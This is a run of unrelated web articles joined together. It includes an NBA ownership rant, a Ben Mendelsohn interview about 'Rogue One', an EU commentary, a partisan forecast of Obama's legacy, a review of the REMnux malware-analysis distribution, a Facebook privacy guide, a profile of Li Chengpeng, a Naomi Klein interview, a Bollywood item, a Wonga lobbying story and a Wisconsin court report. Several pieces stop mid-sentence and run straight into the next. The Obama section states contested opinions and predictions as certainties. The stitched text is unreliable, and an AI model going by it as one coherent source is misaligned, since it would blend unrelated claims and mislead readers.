AJ: Vio con dios, ladies and gentlemen. I’ll be back tomorrow. God bless you all. All we told you is the truth, nothing more. It’s up to you to do something about it.Let’s take a look at what’s going to be a factor in the sale of the Hornets.
Let me say first off: I’m absolutely exhausted by everything regarding this ownership transfer. In one way or another, this has been the core of my interest in this team from prior to the initial failed transfer in April |
about the rumors that he’s being considered for a role in Gareth Edwards’ Rogue One, the first in a series of Star Wars Anthology films. Although he’s not confirming or denying anything, at this point, and said that he doesn’t know how seriously to take all of the talk, he did say that no one would be more thrilled than him, if it does turn out to be true.
Collider: Whether there’s any truth to it or whether it’s all rumor, you’ve been a part of the conversation lately, in regard to Star Wars: Rogue One.
BEN MENDELSOHN: I have. I’ve been lead to believe this, quite strongly. No one is going to be more thrilled, if that turns out to be the case, than me.
What’s it been like to even be mentioned in connection to one of the biggest franchises of all time?
MENDELSOHN: I was the perfect age when that exploded onto the consciousness. I was right in the sweet spot when the film came out, and that film meant and still means an incredible amount to me. For the 7-year-old me, it’s mind-blowing. I saw it in the cinema in 1978, or whatever it was. It’s just awesome, is what it is. Now, I don’t know what happens with any of that, but even to have that said, I couldn’t have believed or dreamed that things would end up going the way they’ve gone. I would have saved myself a lot of worry. There would have been a lot less unpleasant school experiences. I could have gone, “Well, people are going to be seriously talking about me for Star Wars, in 30 or 40 years. Don’t worry about it. It will all turn out all right.” It’s pretty good.
Obviously, the people who know your work, know what a great actor you are, but you’ve flown a bit under the radar in America until now. Are you at a point in your career, where you’re ready to be a big part of one of these huge movies, whether it be Star Wars, or a comic book or superhero movie, or just a general summer blockbuster?
MENDELSOHN: I don’t know how seriously to take all the chatter that’s been going on. I’m not sure how seriously to take all of that. However, being cautiously optimistic that it’s based on something somewhere, I guess I am. To some degree, I probably always would have been. I think I’ve been ready to go to work, for a very long time. The brackets in which I’m held or considered have obviously taken what you might call an upturn, in recent years. But, I’d like to think that I’m ready.
Well, any Star Wars movie would be lucky to have you!
MENDELSOHN: Well, it’s sweet of you to say that.It’s been even more smoke and mirrors time for the EU than usual. For a start, we are told that this week the European Council will defy David Cameron’s wishes by endorsing the European Parliament’s choice of the “arch-federalist” Jean-Claude Juncker as the new president of the European Commission. But all Mr Cameron has been trying to insist on is that, under strict EU treaty rules, the MEPs have no right to nominate Commission presidents. That can only be done by the Council itself. So if the Council outvotes him, Mr Cameron could be its only member prepared to obey EU law. On the other hand, if at the last minute his colleagues happen to nominate some other arch-federalist instead, he will be equally discomfited.
Then the BBC and others have got very excited over the Commission’s claim that it has been “listening to the people of Europe” by repealing, under its “Refit” programme, more than 6,000 of those regulations they are always complaining about. As my co-author Richard North has long been explaining on his EU Referendum blog, what is really happening is that the EU is only repealing those thousands of directives and regulations in order to “consolidate” them into a smaller number, saying much the same things. One reason for this, as we move stealthily towards world government, is the need to harmonise EU law with standards handed down from global bodies even higher than the EU, such as the United Nations Economic Commission for Europe (Unece).
So, although the EU may win plaudits for abolishing that notorious regulation banning “bent cucumbers”, this is only so that the veg trade must now comply with a Unece standard requiring cucumbers to be “practically straight”.I will outline briefly below the profound and lasting nature of the 2016 election. I will lay out Obama's most significant accomplishments and outline the prospects of those achievements lasting beyond Trump's first one hundred days.
One attempting to analyze this election might be tempted to underestimate the significance of it. That person would err. This election holds broad and lasting implications for Obama's legacy and the future of America.
The president's supporters have little recourse left but to shout in the streets
Obama Achievement Fate of that Achievement
AFFORDABLE CARE ACT (Obamacare) - Obama's signature achievement was the passage of what was considered universal healthcare, although it actually left millions without insurance. Virtually all of Obamacare is certain to fade into history. Because the funding provisions were passed through reconciliation requiring only a simple majority in the Senate, the GOP can starve the law if they can't perform a full repeal. But considering that the law is unpopular and the Democrats are defending over twenty US Senate seats in 2018, they may be able to fully repeal the law. But either way, the law will die.
SUPREME COURT LEGACY - When Obama took office conservatives held the majority on the Court by five seats to four, although Kennedy is not conservative on some issues. When Scalia died the conservative majority disappeared for the first time since 1971. Obama held two seats for liberals by appointing Sotomayor to replace David Souter and Elena Kagan to replace John Paul Stevens. Obama never achieved a majority in the Court. Trump will appoint Scalia's replacement and reclaim the conservative majority, likely before officially taking office. That appointee faces very good prospects for confirmation. The fact that it is Scalia's replacement will give some Democrats cover for not filibustering a conservative appointment. Beyond that, the Democrats are already likely to lose Senate seats in 2018 and a prolonged battle would likely make that a certainty considering Democrat voters' propensity to skip midterm elections.
WALL STREET REFORM - Obama passed the Dodd-Frank Wall Street reform bill. The bill increased capital requirements for banks, requires living wills for large banks to avoid destructive bankruptcies, limits banks' abilities to use customer money in trading and creates a Consumer Financial Protection Bureau intended to limit abusive lending practices. Trump seems likely to appoint Jeb Hensarling, or at least Hensarling will impact the legislation that reforms Dodd-Frank, and he wants to deregulate the industry and "put the market in charge." Hensarling would rely primarily on the increased capital requirements of Dodd-Frank, and probably increase them, to provide stability to the economy. Regulations would then be reduced, thereby allowing the mass of small community banks to lend more freely, aiding in the creation of small business jobs. It seems virtually certain that Dodd-Frank will be stripped. Again, the Democrats in the Senate will be gun-shy here, easily accused of depriving Trump of the means to improve the economy, an issue the public trusts Trump on.
EXECUTIVE ORDERS - Many of Obama's accomplishments came through executive orders. Some of the most significant are listed here. Climate Change - EPA regulations, Clean Power Plan, The Paris Agreement Immigration - Obama signed the Deferred Action for Childhood Arrivals program National Security - Obama tightened rules around interrogations and Iran sanctions Trade - There were orders in support of continuing/ starting NAFTA and the TPP Obamacare - There were orders that support Obamacare Gender Identity - Obama signed "guidance" for the implementation of Title IX equating gender identity with biological sex. Some schools have been punished by the DOJ and Dept. of Education for insisting on separate bathrooms, locker rooms and showers for boys and girls Executive Amnesty - Obama exempted some aliens from deportation. Although a court has limited this, Trump will need to rescind it. Life and Religious Liberty - Obama has increased taxpayer funding of abortions and mandated the insurance coverage of abortion inducing drugs, contraception and gender reassignment surgeries and therapies. These executive orders, and likely a good number of others, probably won't last through Trump's first week.
FOREIGN POLICY: Obama has promoted a policy of a relatively weak American role in the world. ISIS formed under his tenure largely out of a desire on the part of Obama to draw an end to our involvement in Iraq. This withdrawal of our forces resulted in a vacuum of power that ISIS promptly filled. Obama has also taken a position that America should not take a leadership role in the world on any of the major issues facing the world, but should stand in solidarity with allies on all issues whether the international consensus is damaging to America's interests or not. This is true on economic issues, refugees, environmental issues and the approach to interrogating and imprisonment of terrorists. Obama's foreign policy approach will not survive past January 20, 2017. Trump has committed to destroying ISIS. He will not delve into specifics but makes clear that he will do what it takes to get the job done, including working with Russia and taking military actions that might result in civilian casualties if ISIS continues to shield its military assets with civilians. Trump takes an America first approach to most international issues. This is true economically, environmentally, with respect to refugees and how terrorists will be dealt with. In each case, America's best interests come before any other consideration. This stands in direct contrast to Obama's approach.
TAX RATES: The corporate tax rate under Obama is the highest in the world at 39.1%. This is a combination of the 35% federal tax rate plus the average state rate. Obama created seven tax brackets at the following percentages/income level for married couples filing jointly 10/18k, 15/74k, 25/149k, 28/227k, 33/405k, 35/407k, 39.6/above 407k. Trump wants to lower the corporate tax rate to 15%. He assumes that this will bring $4 trillion back to the US from overseas. There is no way of knowing for sure just how much capital will return, but much of it will. Trump proposes to lower the income tax rates to 12/75k, 25/225k and 33/above 225k.Remnux is a lightweight Ubuntu based Linux distribution, which is specifically developed to help reverse engineer and analyze malware. It contains a wide range of apps and features which are mandatory for successful analysis of malware. Forensic investigators and incident reporters can use this tool kit to analyzing Windows and Linux malware, browser-based threats, and explore suspicious files. New release of this tiny distro is out now, we will be reviewing the primary features and installation process of REMnux 6 in this article.
Salient Features
Here are some of the noteworthy features of this Remnux 6.
It offers wide range of tools for static file analsis, few of them are pescanner, pestr, pyew, and readpe
It offers few tools for Binary files analysis as well, including but not limited to radare2, yara, vivbin, and wxHexEditor
Analysis toolkit includes two useful tools Rekall and Volatility for memory snapshots
Includes tcpdump, ngrep and wireshark for Network analysis
Includes NetworkMiner, CapTipper and burpsuite tools for web traffic analysis
Uses js-beautify for Java Script cleanup
Uses wget and Curl to retrieve remote web pages content
Includes support for oletools and libolecf for Microsoft Office and Open Office documents
Uses Androwarn, AndroGuard for android malware decoding
Installing REMnux 6
The installation process for this distro is bit different, you don’t need to download ISO, Burn it and start the installation wizard. Instead REMnux provides a ova file to download. We need to import this file using any virtualization tool and then use the operating system to carry out analysis tasks. We will show the installation process of this operating system using Oracle Virtual Box virtualization tool.
Tip: If oracle Virtual Box is not installed on your end, you can install it by following method: Ubuntu users should run following command on terminal. apt-get install virtualbox Windows users should download its executable file and run installer.
Download virtual Box for Windows
In order to install REMnux, First of all download its ova file from following location.
Download REMnux5 ova
Once the download process is complete, launch Oracle Virtual Box and click on File >> Import Appliance.
Tip: Kindly note that all good virtualization tools offers you this feature to import and export appliances, if you are using some other tool, you should be able to locate and use the similar option.
Alright, now browse and provide the physical path to your downloaded REMnux ova file on this step.
Once done click “Next” to proceed to the third step, It will list you a summary of the import option, you can change resources like CPU, Memory etc from here, otherwise keep default option and hit “Import”, The import process of ova to a new VM will be started immediately.
It will keep showing your progress of the import process, be patient
As soon as the import process completes, you should be able to see it in Virtual Machines lists in Powered off mode. Simply right click it and choose “Start”.
It will boot your REMnux 6 operating system, Login with username “remnux” and default password “malware”.
That’s all, Enjoy using REMnux
Conclusion
This little distro is blessing, think of setting up a Linux box with all these security related apps will take long amount of time. You can get all required apps on one place in this small distro, its lightweight in true sense and resource consumption by this distro is very low. Hope you find this article useful, do let us know in comments pleaseIn December, Facebook made a series of bold and controversial changes regarding the nature of its users' privacy on the social networking site. The company once known for protecting privacy to the point of exclusivity (it began its days as a network for college kids only - no one else even had access), now seemingly wants to compete with more open social networks like the microblogging media darling Twitter.
Those of you who edited your privacy settings prior to December's change have nothing to worry about - that is, assuming you elected to keep your personalized settings when prompted by Facebook's "transition tool." The tool, a dialog box explaining the changes, appeared at the top of Facebook homepages this past month with its own selection of recommended settings. Unfortunately, most Facebook users likely opted for the recommended settings without really understanding what they were agreeing to. If you did so, you may now be surprised to find that you inadvertently gave Facebook the right to publicize your private information including status updates, photos, and shared links.
Want to change things back? Read on to find out how.
1. Who Can See The Things You Share (Status Updates, Photo, Videos, etc.)
Probably the most critical of the "privacy" changes (yes, we mean those quotes sarcastically) was the change made to status updates. Although there's now a button beneath the status update field that lets you select who can view any particular update, the new Facebook default for this setting is "Everyone." And by everyone, they mean everyone.
If you accepted the new recommended settings then you voluntarily gave Facebook the right to share the information about the items you post with any user or application on the site. Depending on your search settings, you may have also given Facebook the right to share that information with search engines, too.
To change this setting back to something of a more private nature, do the following:
From your Profile page, hover your mouse over the Settings menu at the top right and click "Privacy Settings" from the list that appears. Click "Profile Information" from the list of choices on the next page. Scroll down to the setting "Posts by Me." This encompasses anything you post, including status updates, links, notes, photos, and videos. Change this setting using the drop-down box on the right. We recommend the "Only Friends" setting to ensure that only those people you've specifically added as a friend on the network can see the things you post.
2. Who Can See Your Personal Info
Facebook has a section of your profile called "personal info," but it only includes your interests, activities, and favorites. Other arguably more personal information is not encompassed by the "personal info" setting on Facebook's Privacy Settings page. That other information includes things like your birthday, your religious and political views, and your relationship status.
After last month's privacy changes, Facebook set the new defaults for this other information to viewable by either "Everyone" (for family and relationships, aka relationship status) or to "Friends of Friends" (birthday, religious and political views). Depending on your own preferences, you can update each of these fields as you see fit. However, we would bet that many will want to set these to "Only Friends" as well. To do so:
From your Profile page, hover your mouse over the Settings menu at the top right and click "Privacy Settings" from the list that appears. Click "Profile Information" from the list of choices on the next page. The third, fourth, and fifth item listed on this page are as follows: "birthday," "religious and political views," and "family and relationship." Locking down birthday to "Only Friends" is wise here, especially considering information such as this is often used in identity theft. Depending on your own personal preferences, you may or may not feel comfortable sharing your relationship status and religious and political views with complete strangers. And keep in mind, any setting besides "Only Friends" is just that - a stranger. While "Friends of Friends" sounds innocuous enough, it refers to everyone your friends have added as friends, a large group containing hundreds if not thousands of people you don't know. All it takes is one less-than-selective friend in your network to give an unsavory person access to this information.
3. What Google Can See - Keep Your Data Off the Search Engines
When you visit Facebook's Search Settings page, a warning message pops up. Apparently, Facebook wants to clear the air about what info is being indexed by Google. The message reads:
There have been misleading rumors recently about Facebook indexing all your information on Google. This is not true. Facebook created public search listings in 2007 to enable people to search for your name and see a link to your Facebook profile. They will still only see a basic set of information.
While that may be true to a point, the second setting listed on this Search Settings page refers to exactly what you're allowing Google to index. If the box next to "Allow" is checked, you're giving search engines the ability to access and index any information you've marked as visible by "Everyone." As you can see from the settings discussed above, if you had not made some changes to certain fields, you would be sharing quite a bit with the search engines...probably more information than you were comfortable with. To keep your data private and out of the search engines, do the following:
From your Profile page, hover your mouse over the Settings menu at the top right and click "Privacy Settings" from the list that appears. Click "Search" from the list of choices on the next page. Click "Close" on the pop-up message that appears. On this page, uncheck the box labeled "Allow" next to the second setting "Public Search Results." That keeps all your publicly shared information (items set to viewable by "Everyone") out of the search engines. If you want to see what the end result looks like, click the "see preview" link in blue underneath this setting.
Take 5 Minutes to Protect Your Privacy
While these three settings are, in our opinion, the most critical, they're by no means the only privacy settings worth a look. In a previous article (written prior to December's changes, so now out-of-date), we also looked at things like who can find you via Facebook's own search, application security, and more.
While you may think these sorts of items aren't worth your time now, the next time you lose out on a job because the HR manager viewed your questionable Facebook photos or saw something inappropriate a friend posted on your wall, you may have second thoughts. But why wait until something bad happens before you address the issue?
Considering that Facebook itself is no longer looking out for you, it's time to be proactive about things and look out for yourself instead. Taking a few minutes to run through all the available privacy settings and educating yourself on what they mean could mean the world of difference to you at some later point...That is, unless you agree with Facebook in thinking that the world is becoming more open and therefore you should too.The international and Chinese web have been abuzz with news of the decision of the controversial author Li Chengpeng to stand as an independent candidate to become a deputy to the People’s Congress of Wuhou district in Chengdu, following a wave of interest in local elections. The provocative move is a step up for the outspoken social critic. His campaign is a challenge to the legitimacy of the Chinese Communist Party, with a slogan that calls democracy to mind: ‘Without your authorization, I can’t represent you.’
The move is not technically illegal. As David Bandurski at the China Media Project explained, the Chinese Constitution includes a guarantee that ‘All citizens of the People’s Republic of China who have reached the age of 18 have the right to vote and stand for election.’ However, ‘In practice, people’s congress representatives at the local level are often appointed by Party leaders, and they have little real power to influence local political decisions. Elections are supervised by higher government authorities, so there is ample opportunity for manipulation of the results.’It provoked a response from the official Xinhua news agency, which declared that ‘There is no such thing as an “independent candidate” as it’s not recognized by law.’
Nobody writing in English seems to have gotten hold of Li yet, but we interviewed him for a profile in the Christian Science Monitor back in April. We’re trying to get him for another talk about what he’s doing now in the next few days, but in the meantime here’s a quick take on who he is and our sense of what he’s doing.
A native of the city of Chengdu, in Sichuan Province, and former journalist, Li, nicknamed ‘Li Big Eyes,’ is a gutsy and provocative writer and used to conspicuously challenging authority, a theme that’s run through his career. When we spoke to him, he had just published a controversial and best-selling novel, Li Kele Protests Demolitions, about the touchy issue of forced demolitions. ‘I’m not scared,’ he told us, ‘There are some things you have to face as a man.’
He first came to prominence – and first aroused the suspicions of the Chinese authorities – as a sports journalist covering soccer. A series of articles culminating in a 2005 book exposing the corrupt inner workings of the Chinese football world aroused anger and, he says, personal threats to his family. By 2009, he told us, he regularly received anonymous text messages saying things like ‘You’d better watch your family,’ and at one point was so scared of the police that he spent several weeks checking into a new hotel room every night using names and ID cards borrowed from friends.
Li became a celebrity blogger in the wake of the 2008 Sichuan earthquake, which he witnessed first-hand in Chengdu. Millions of people read his story about a group of elementary school teachers guiding their class across the mountains from a ruined school to safety. In it, he criticized local officials and construction companies for using shoddy materials in schools, an issue that became a major scandal in China. As his profile rose, the controversial nature of his exposes made it difficult to hold a single job for long. Eventually, he left journalism entirely and moved back to Chengdu, saying that it was easier to tell the truth in fiction.
‘There are two types of writer in China,’ Li said. ‘One is like the journalists at the People’s Daily, and one is like me. At People’s Daily, every disaster is a fairy tale with a happy ending.’
The novel that we spoke to him about had a similarly difficult road to publication. The novel was turned down by every publisher his agents took it to in Beijing, and ultimately got into print through a tiny publishing house in the remote province of Gansu, still enduring what he described as a lengthy process of censorship and negotiation over the book’s content.
The novel was readable and funny, but it had a caustic tone that criticized many aspects of Chinese life, from corrupt local officials to mercenary women. It told the story of a community whose dispute with local authorities and construction companies escalated into a siege, dramatically narrating pitched battles between local people and the authorities who planned to demolish their houses.
When we spoke to him, he was eager to present himself as defiant toward the party-state’s authority. He asked to speak with us on a landline, saying that he feared his mobile phone was being tapped, and said that critics of his novel were in the pay of the government. ‘If authors in the pay of the government are criticizing you, you must be speaking for the people,’ he said.
Li’s suspicion of the Chinese state seems to run deep into his life. He told us that he plans to home-school his 9-year-old son after he finishes primary school, because he doesn’t want him to get in the habit of telling lies. In school, he said, ‘they give you 12 years of lies and 12 years of nonsense.’
Although we called to talk him about his novel, he immediately steered the interview towards his ideas about the state of China. Again and again, he told us that Chinese people lack a sense of security about their lives (‘mei you anquangan’).
‘Chinese people don’t feel safe,’ he said. ‘They’ve been panic-buying salt, because they don’t feel safe. They don’t feel safe, because they think somebody might tear down their house in the middle of their night, because they think the outside world is full of enemies, because that’s what we’re told in school.’
Li is a liberal and a populist, but he’s not Ai Weiwei – Li spoke almost no English, and was clearly unused to speaking to foreign journalists, although he makes frequent appearances on Chinese TV. Neither is he the type of nationalist angry youth whom foreign analysts associate with the Chinese internet. When we spoke to him shortly after Japan’s disastrous Fukushima earthquake, Li had a prepared speech ready about the importance of mutual understanding and ‘love’ between China and Japan, telling us that he was the first prominent figure in China to express support for Japan in the wake of the catastrophe.
So what does this mean for China? Li’s election campaign is a genuinely Chinese event, attracting attention and support on the Chinese internet and, as USA Today reported, an endorsement from Han Han, a superstar author and blogger.
For now, Li’s activities remain easily searchable on the Chinese internet. Li’s article on Baidu Zhidao (Chinese), China’s largest equivalent of Wikipedia, has a section on his election – and, in fact, was our source for the image at the top of this post. And the conservative Global Times ran a story today that said that Xinhua’s ‘no independent candidates’ story ‘didn’t close the door’ to people like Li Chengpeng from joining the election.
Ultimately, the gravity of the situation depends very on how the Communist Party decides to interpret it: as a low-level challenge which can be addressed with minor resistance and bureaucratic foot-dragging, or a frontal assault that needs to be stamped out.
Peter Martin works for a political consulting firm in Beijing. David Cohen is a freelance journalist. They blog at www.sinocentric.net and their writing has appeared in the Christian Science Monitor, the Guardian Online, the Global Times, the China Daily and the Lowy Interpreter among other publications.For Canadian journalist Naomi Klein, the lines are clearly drawn. It's the climate or our current economic system -- we can't have both.
Look at it this way, and it's easy to see why climate change denialism is so strongly entrenched in our culture and why the fight against global warming, as her provocative argument goes, has failed to result in meaningful action.
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But if you see our current economic system as a failure, as Klein unequivocally does, then that's not such a terrible choice. In fact, it's an opportunity: for policies that improve lives, for lessening economic inequality, for creating jobs and for reinvigorating democracy, all in conjunction with reducing emissions. "For a great many people," Klein writes in her new book, "This Changes Everything," "climate action is their best hope for a better present, and a future far more exciting than anything else currently on offer.”
Nowhere is that more clear than in the sprawling grass-roots network Klein calls "Blockadia," pockets of resistance where communities with the most to lose are already starting to fight back against the systems that are allowing climate change to happen. It's here, she writes, and not through "the slick green groups and the big U.N. summits," that a new, grass-roots climate movement is taking shape.
In the lead-up to the People's Climate March (and to its more radicalized follow-up, "Flood Wall Street," where she will be appearing) Klein spoke with Salon about why she thinks we're at a turning point, and why she welcomes an angrier, more politicized fight. This interview has been lightly edited for length and clarity.
I want to start with the big question: The book is centered on this choice between, as you write, "allowing climate disruption to change everything about our world, or changing pretty much everything about our economy to avoid that fate." How do you boil something that huge down to something we can actually take action on? Where would you even propose starting?
Well, the thesis of the book is we are not going to do this with the little baby step approach that we've had so far, that we fundamentally need a battle of worldviews. We need to talk about what values are going to govern our society and we need to win some ideological battles. I'm making the argument that in responding to climate change, we have a once-in-a-century opportunity to fix some fundamentally wrong things about our economy. We have the ability to address the jobs crisis. We have the ability fix our ailing infrastructure and reinvent it. We have the ability to close the inequality gap. But we're not going to do any of that unless we address the core question of whether or not we believe that humans can do good when they act collectively, whether there is a positive role for government, whether we believe the role of government is just to pursue growth at all costs. There's been this idea that the way to win victories on climate is to depoliticize it, to act as if we can do this without engaging in politics. I'm putting forward an alternate theory: that only by engaging in politics will we win the big victories. We cannot shy away from the big fights.
Your critique of baby steps taken so far -- and of the big green groups' collaboration with corporate partners -- has already been pretty controversial. Couldn't one argument be that the climate movement has needed time to build up to something this momentous, and that small changes were better than nothing for a while, even if we need more drastic action going forward?
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Honestly, I think we've lost some precious time. I think it's happened for understandable reasons. But the history I tell in the book is of a real directional decision made in the 1980s in large parts of the environmental movement to play the inside game when a war was being waged on the idea of environmental regulation -- when Reagan was arguing that there was something communist about so-called command and control regulation. Large parts of the movement made a strategic decision not to fight back, and to try to come up with so-called solutions that would bring the polluters on board. And I think that's been a disastrously failed strategy. And I don't think those baby steps have brought us to this point. I think the failure of those baby steps have brought us to this point. And now there is a new climate movement emerging that is on the front lines of that failure, because their communities are being fracked, because they have refineries in their backyards, and mountaintop removal on their lands and they are directly threatened. They are in the sacrifice zone. And that has awoken a new militancy, which we also see in the fossil fuel divestment movement.
But I think it's understandable why, in the 1980s and '90s, it seemed impossible to take on this ideology. I think it's a lot more understandable than it is now, in the sense that this ideology was so hegemonic in that phase that I can understand why it seemed impossible. The good news is there are a whole lot more people who are upset for a whole lot of other reasons with the same model that is destabilizing the climate: because it's deepening inequality, because it has so corrupted politics. So there are so many opportunities to build alliances and to build a deeper and broader movement, so that now we can have that ideological discussion. I think that has more to do with just the failures of the fact that we've been living with market fundamentalism now for more than three decades, and the track record is abysmal, and yet even so, there are large parts of the environmental movement that still don't want to make common cause with other parts of the broader left because they're still playing that inside, corporate game.
What role is there for corporations that are actively working on green tech, or on ways to replace fossil fuels? Where does someone like Elon Musk fit into this kind of revolution?
Well, I definitely think there's a role for the market in solving this crisis. You look at a company like Sungevity, for instance, in California, that has helped pioneer the model of affordable solar panels that people lease instead of buy. That was a huge breakthrough. When I made the argument that there's a fundamental clash between our economic model and what we need to do to solve climate, that's not the same as saying, “Nobody can make money in responding to climate change and the private sector has no role in a response.” What I'm talking about is structurally, we have gone so far down the wrong road. It's not that we've done nothing. We've done the wrong things.
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Our emissions are up 61 percent since 1990. Because of that, and because of just the nature of how greenhouse gases behave in the atmosphere and the fact that they unfortunately stick around, once you've emitted them, for a couple of hundred years, there's a cumulative impact of that failure. There is, what Michael Mann, the Penn State climate scientist, calls a procrastination penalty. There's only so much carbon we can emit before we drastically increase our chances of pushing temperatures above 2 degrees, which supposedly our governments have agreed we don't want to do. If we want to stay within that budget, if we want to keep a 50/50 chance of keeping temperatures below 2 degrees, we now need to cut our emissions so rapidly and so deeply that it poses a challenge to the logic of growth for growth's sake. It means we need a much more managed economy and figuring out “What parts of our economy do we want to grow?” Yes, we want to grow renewable energy. But no, we can't just grow all forms of consumption. Some consumption needs to contract. That's the clash. It's not just saying there's no role for green businesses. Absolutely there is, but at the same time, we can't leave it to green businesses to just do this for us. I think sometimes there's a confusion: “OK, so these companies are thriving and doing well; that means the market can fix this for us.” It can get us partway there but it can't get us to zero, which is actually where we need to go in an alarmingly short time. Regulation will get us there. Big public investments will get us there. And a more strategic economy will get us there. In combination.
You start with climate deniers, and acknowledge that climate change, when looked at this way, really threatens to overturn their fundamental ideology. So obviously they're going to fight tooth and nail to prevent this sort of overhaul, and it would follow that all the effort to say “This is the science” isn't going to convince them, is a waste of time. So how do you confront that fundamental opposition?
The truth is, I don't plan to spend any time fighting with climate change deniers -- with outright deniers, people I describe as hard deniers in the book. To me, where the real battle lies is in the middle, with people who don't deny the science but are still looking away. That's why I start the book with this talking about my own climate denial. Not denial like the Heartland Institute but that state of knowing and not knowing.
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I’ve heard it called "stealth denial."
Yeah, I think we're all aware of those dozens of decisions we make every day: “OK, I'm not going to click on the story about the melting glaciers. I'm going to click on the celebrity gossip.” I think online news makes us all more conscious of the decisions we make to look away. I'm much more interested in thinking about how we get ourselves -- all of us who are in various states of denial -- outside of that hard, intractable denial to stop being afraid of looking at this crisis. And, for me, a big part of that is imagining a way out of this crisis that is not all doom and gloom, that does solve other immediate crises. That's why I'm trying to connect these dots. On the one hand, you can see that as overwhelming. On the other hand, I think a lot of what's kept us from acting is the idea that this is far off and other things are immediate. So I think we do have to connect it to more immediate needs and crises. And they are connected. It's not a false connection. This is why I say climate change is not an issue; it's a message. This is our home, right? Everything fits inside this. So we shouldn't be surprised when it connects to everything we do.
You make the case that there are a lot of economically logical reasons to mitigate climate change, and that the left can learn from the right by making those points. But you also make the bigger point that it's a moral argument, and that climate action needs to become a moral imperative. Is that the thing that's more important to emphasize at this point?
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I think it's both. It's immoral to allow countries to disappear beneath the waves when we have the power to prevent |
ographer Ganesh Acharya’s dance troupe and worked with him for almost a decade. But today, she is clear that she won’t take up any item song, even if she is offered one by the biggest of banners. Why? “Let me just make my mark as an actor first, and then an item song can be the second step. I am still in my struggling phase. I have to carve a niche for myself — that’s my goal right now,” says Daisy, who has done films such as Jai Ho (2014) and Hate Story 3 (2015).
The actor might not be doing many films right now, but being a part of Salman Khan’s Da-Bang tour, Daisy makes sure she remains in the limelight. And considering that Salman’s tour is all about dancing and doing live shows across countries, her reluctance about item songs sounds quite ironical.
Daisy clarifies, “The problem is with the mindset of people in [Bollywood]. They have their own set notions. If you do an item song, then you’re categorised as an item girl; if you focus on acting, you’re categorised as an actor.”
Here's to a happy week ahead! #livelifesmileoften 🤗 A post shared by Daisy (@shahdaisy) on Jul 2, 2017 at 10:12pm PDT
However, it’s different for A-list actors or those who’re established names, says Daisy. “If you’ve made it big in Bollywood, such as Kareena Kapoor Khan and Katrina Kaif, and then you do an item song, it becomes a ‘guest appearance’. That’s how it works. Sadly, that’s the attitude of our Hindi film industry,” she adds.
“So let’s put it this way: I don’t intend to do item numbers, but [will do] guest appearances,” quips Daisy. “I would make it sound classy. I will not consider any offer for an item song. I will turn it down. The day they call me for a guest appearance, I will consider and may agree to do it.”
‘I would make it sound classy. I will not consider any offer for an item song. I will turn it down. The day they call me for a guest appearance, I will consider and may agree to do it’ — Daisy Shah
Sometime back, there was speculation that Daisy would be seen in an item number in Race 3, starring Salman, and that’s why she didn’t even join the makers of her film Ram Rattan for the promotions. Rubbishing these reports, she retorts, “If I wanted to do an item song, I would’ve done it in Bhoomi (Sanjay Dutt’s comeback film) when I was asked to do it. Why would I lie? I’m not interested in doing any item song, so I won’t cook up such a story. I am straightforward and don’t like doing jalebi talks. I can’t, even my wildest dreams, say that I am doing an item song.”
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First Published: Oct 15, 2017 14:18 ISTStella Creasy accuses payday lender of 'targeting highest echelons of government' over news Jonathan Luff is to join firm
Downing Street has been challenged by a campaigning Labour MP to answer a series of questions after an adviser to David Cameron resigned his post to become a lobbyist for the payday lender Wonga.
Stella Creasy, who has criticised the crippling interest rates charged by such companies, warned that payday lenders were now "targeting the highest echelons of government".
Creasy issued a statement on her website after Wonga confirmed that Jonathan Luff, a senior No 10 adviser, was to lead its government affairs team. The appointment was revealed by Mark Kleinman, the city editor of Sky News. Luff tweeted on Monday: "Home. What an extraordinary week. Huge thanks to friends both old and new. #onwards"
Downing Street declined to comment on the appointment of Luff, who was on secondment to Downing Street from the Foreign Office, on the grounds that it did not discuss individuals. Luff is a civil servant and is not a politically appointed special adviser.
Creasy said: "Like many other legal loan sharks, Wonga is making massive profits from preying on consumers in Britain's poorly regulated consumer credit market. They have used these profits to target our football clubs and Saturday night TV, and now they are targeting the highest echelons of government. Those Britons struggling with debts caused by payday lending and wondering why the government is doing nothing to help them."
The MP has asked four questions:
• Will the government confirm that Luff's appointment has been approved by the advisory committee on business appointments?
• Will the government confirm whether Wonga was involved in Luff's work for the government's Great Britain campaign?
• Will the government outline all contacts between No 10 officials and high-cost credit card companies while Luff worked in Downing Street?
• Will the government confirm that Luff will be forbidden from contacting former colleagues in his new post?
Creasy added: "This appointment only further raises concerns about how seriously this government takes personal debt. When most other countries have capped the costs of credit to protect their citizens from the debts this type of lending can cause, British consumers urgently need to know whose side their prime minister is on – theirs or the legal loan sharks?"A week after striking down Wisconsin’s ban on same-sex marriage as unconstitutional, a federal judge in Madison, Wis., issued an order Friday postponing her decision pending the outcome of an expected appeal.
But US District Judge Barbara Crabb took the action only after more than 550 same-sex couples in the state cited her June 6 decision in order to get married over the past seven days.
Judge Crabb had been asked two weeks ago by state officials to issue a stay of any ruling striking down the state’s same-sex marriage ban until the issue could be heard by an appeals court.
The officials expressed concern that same-sex marriages should not be performed until appellate courts have an opportunity to examine the underlying legal and constitutional issues.
On Friday, the judge acknowledged that there had been “much confusion among county clerks” regarding the legal effect of her decision last week.
Judge Crabb said she was reluctantly granting the temporary stay.
“After seeing the expressions of joy on the faces of so many newly wedded couples featured in media reports, I find it difficult to impose a stay on the event that is responsible for eliciting that emotion, even if the stay is only temporary,” she said.
“Same-sex couples have waited many years to receive equal treatment under the law, so it is understandable that they do not want to wait any longer,” she wrote. “However, a federal district court is required to follow the guidance provided by the Supreme Court.”
A similar issue arose after a federal judge in Utah struck down that state’s ban on same-sex marriages in December and refused to stay his decision to allow time for an appeal.
The US Supreme Court intervened in that case and ordered the federal judge to issue a stay. By the time the judge did so, more than 1,000 Utah couples had already married.
In Michigan, some 300 same-sex couples were married in the time between a federal judge’s refusal to issue a stay and an appeals court’s order that the Michigan decision be postponed.
Federal judges usually follow the lead of higher courts on an issue such as whether to issue a stay in a case involving an identical issue. State bans on same-sex marriage have been struck down by nine different federal judges since December. Prior to the Wisconsin case, stays were issued in six of those cases.
In two states, Oregon and Pennsylvania, no stay was issued because state officials declined to file an appeal. That action effectively ended each case and opened the way for same-sex marriages in both those states.
But federal judges stand in a different posture in states where same-sex marriage amendments and statutes are being defended by state officials who intend to file an appeal.
Given the repeated requests for a stay by Wisconsin Attorney General J. B. Van Hollen, Judge Crabb’s delay appears to have been an effort to game the system to allow same-sex couples to marry before a stay was issued. Her delay in issuing an injunction to specifically allow the marriages to go forward effectively blocked the state attorney general from obtaining a stay from an appeals court.
